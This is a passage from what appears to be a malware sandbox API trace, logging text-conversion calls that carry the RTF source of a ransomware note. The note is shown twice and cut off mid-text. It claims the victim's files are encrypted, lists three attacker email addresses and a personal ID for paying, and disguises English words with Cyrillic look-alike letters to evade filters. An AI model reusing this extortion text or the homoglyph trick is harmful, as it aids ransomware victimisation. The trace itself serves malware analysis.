\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 